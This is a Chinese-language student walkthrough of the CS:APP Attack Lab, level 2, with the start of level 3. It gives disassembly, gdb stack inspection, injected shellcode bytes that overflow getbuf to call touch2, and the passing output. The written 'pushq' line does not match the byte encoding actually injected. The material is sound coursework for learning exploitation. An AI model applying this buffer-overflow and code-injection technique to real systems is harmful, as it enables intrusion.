这里getbuf分配的栈帧和上面的一样。就不在画出了(主要是画的太丑了)
00000000004017ec <touch2>: 4017ec: 48 83 ec 08 sub $0x8,%rsp 4017f0: 89 fa mov %edi,%edx 4017f2: c7 05 e0 2c 20 00 02 movl $0x2,0x202ce0(%rip) # 6044dc <vlevel> 4017f9: 00 00 00 4017fc: 3b 3d e2 2c 20 00 cmp 0x202ce2(%rip),%edi # 6044e4 <cookie> 401802: 75 20 jne 401824 <touch2+0x38> 401804: be e8 30 40 00 mov $0x4030e8,%esi 401809: bf 01 00 00 00 mov $0x1,%edi 40180e: b8 00 00 00 00 mov $0x0,%eax 401813: e8 d8 f5 ff ff callq 400df0 <__printf_chk@plt> 401818: bf 02 00 00 00 mov $0x2,%edi 40181d: e8 6b 04 00 00 callq 401c8d <validate> 401822: eb 1e jmp 401842 <touch2+0x56> 401824: be 10 31 40 00 mov $0x403110,%esi 401829: bf 01 00 00 00 mov $0x1,%edi 40182e: b8 00 00 00 00 mov $0x0,%eax 401833: e8 b8 f5 ff ff callq 400df0 <__printf_chk@plt> 401838: bf 02 00 00 00 mov $0x2,%edi 40183d: e8 0d 05 00 00 callq 401d4f <fail> 401842: bf 00 00 00 00 mov $0x0,%edi 401847: e8 f4 f5 ff ff callq 400e40 <exit@plt>其实touch2的逻辑非常简单。就是比较我们传入的参数val是否等于cookie的值。如果等于就可以通过。所以本题的关键就是在改变返回地址前也设置rdi寄存器的值。因此我们可以很容易的想到我们要插入的汇编代码是什么
movq $0x59b997fa, %rdi pushq 0x4017ec ret再利用下面的操作查看他的字节序表示
gcc -c l2.s objdump -d l2.o 0000000000000000 <.text>: 0: 48 c7 c7 fa 97 b9 59 mov $0x59b997fa,%rdi 7: ff 34 25 ec 17 40 00 pushq 0x4017ec e: c3 retq下面的问题就变成了我们如何执行这段代码。联想第一个题我们应该利用缓冲区溢出的方法。
我们继续看一下getbuf的汇编代码
00000000004017a8 <getbuf>: 4017a8: 48 83 ec 28 sub $0x28,%rsp 4017ac: 48 89 e7 mov %rsp,%rdi 4017af: e8 8c 02 00 00 callq 401a40 <Gets> 4017b4: b8 01 00 00 00 mov $0x1,%eax 4017b9: 48 83 c4 28 add $0x28,%rsp 4017bd: c3 retq 4017be: 90 nop 4017bf: 90 nop这里把%rsp赋给了rdi然后调用了gets 我们需要check一下rsp在这里打一个端点
(gdb) b *0x4017ac Breakpoint 1 at 0x4017ac: file buf.c, line 14. (gdb) r -q Starting program: /csapp/attack/ctarget -q warning: Error disabling address space randomization: Operation not permitted Missing separate debuginfos, use: yum debuginfo-install glibc-2.28-127.el8.x86_64 Cookie: 0x59b997fa (gdb) info r rsp rsp 0x5561dc78 0x5561dc78我们发现rsp的地址为0x5561dc78 是不是有点想法可以开始写了。
我们可以让执行完getbuf之后回到rsp的这里。然后把我们要执行的三行汇编代码执行。就可以成功执行touch2了。这样我们的输入流就如下图。
48 c7 c7 fa 97 b9 59 68 <-读入我们要执行的汇编语句 ec 17 40 00 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 dc 61 55 00 00 00 00 <-返回地址为rsp来试试能不能通过。发现可以正常通过
[root@cadc591c8a87 attack]# ./hex2raw < touch2.txt | ./ctarget -q Cookie: 0x59b997fa Type string:Touch2!: You called touch2(0x59b997fa) Valid solution for level 2 with target ctarget PASS: Would have posted the following: user id bovik course 15213-f15 lab attacklab result 1:PASS:0xffffffff:ctarget:2:48 C7 C7 FA 97 B9 59 68 EC 17 40 00 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 DC 61 55 00 00 00 00下面画一个我们这样的输入之后的栈帧帮助大家理解
这里转ASCLL太难了就不转了
getbuf的返回地址 00 00 00 00 55 61 dc 78rsp+20 00 00 00 00 00 00 00 00
rsp+18 00 00 00 00 00 00 00 00
rsp+10 00 00 00 00 00 00 00 00
rsp+8 00 00 00 c3 00 40 17 ec
rsp 68 59 b9 97 fa c7 c7 48
这里rsp的地址就为0x5561dc78 所以我们返回地址是会返回到rsp这里然后执行我们的三条汇编代码
movq $0x59b997fa, %rdi pushq 0x4017ec ret 1.3 Level3level3也是要进行代码注入。但是这里要注入一个string。
hexmatch和touch3的代码如下。代码分析直接写到注释里面了
/* Compare string to hex represention of unsigned value */ int hexmatch(unsigned val, char *sval) { char cbuf[110]; /* Make position of check string unpredictable */ char *s = cbuf + random() % 100; sprintf(s, "%.8x", val); //s=val=cookie return strncmp(sval, s, 9) == 0; //比较cookie和第二个参数的前9位是否相同 // cookie只有8字节。这里为9的原因是我们要比较最后一个是否为'\0' } void touch3(char *sval) { vlevel = 3; /* Part of validation protocol */ if (hexmatch(cookie, sval)) { //相同则成功 printf("Touch3!: You called touch3(\"%s\")\n", sval); validate(3); } else { printf("Misfire: You called touch3(\"%s\")\n", sval); fail(3); } exit(0); }任务: 你的任务getbuf之后执行touch3而不是继续执行test。你必须要传递cookie字符串作为参数
一些小建议
你需要在利用缓冲区溢出的字符串中包含cookie的字符串表示形式。该字符串应该有8个十六进制数组成。注意没有前导0x
注意在c语言中的字符串表示会在末尾处加一个\0
您注入的代码应将寄存器%rdi设置为此字符串的地址
调用函数hexmatch和strncmp时,它们会将数据压入堆栈,从而覆盖存放getbuf使用的缓冲区的内存部分。 因此,您需要注意在哪里放置您的Cookie字符串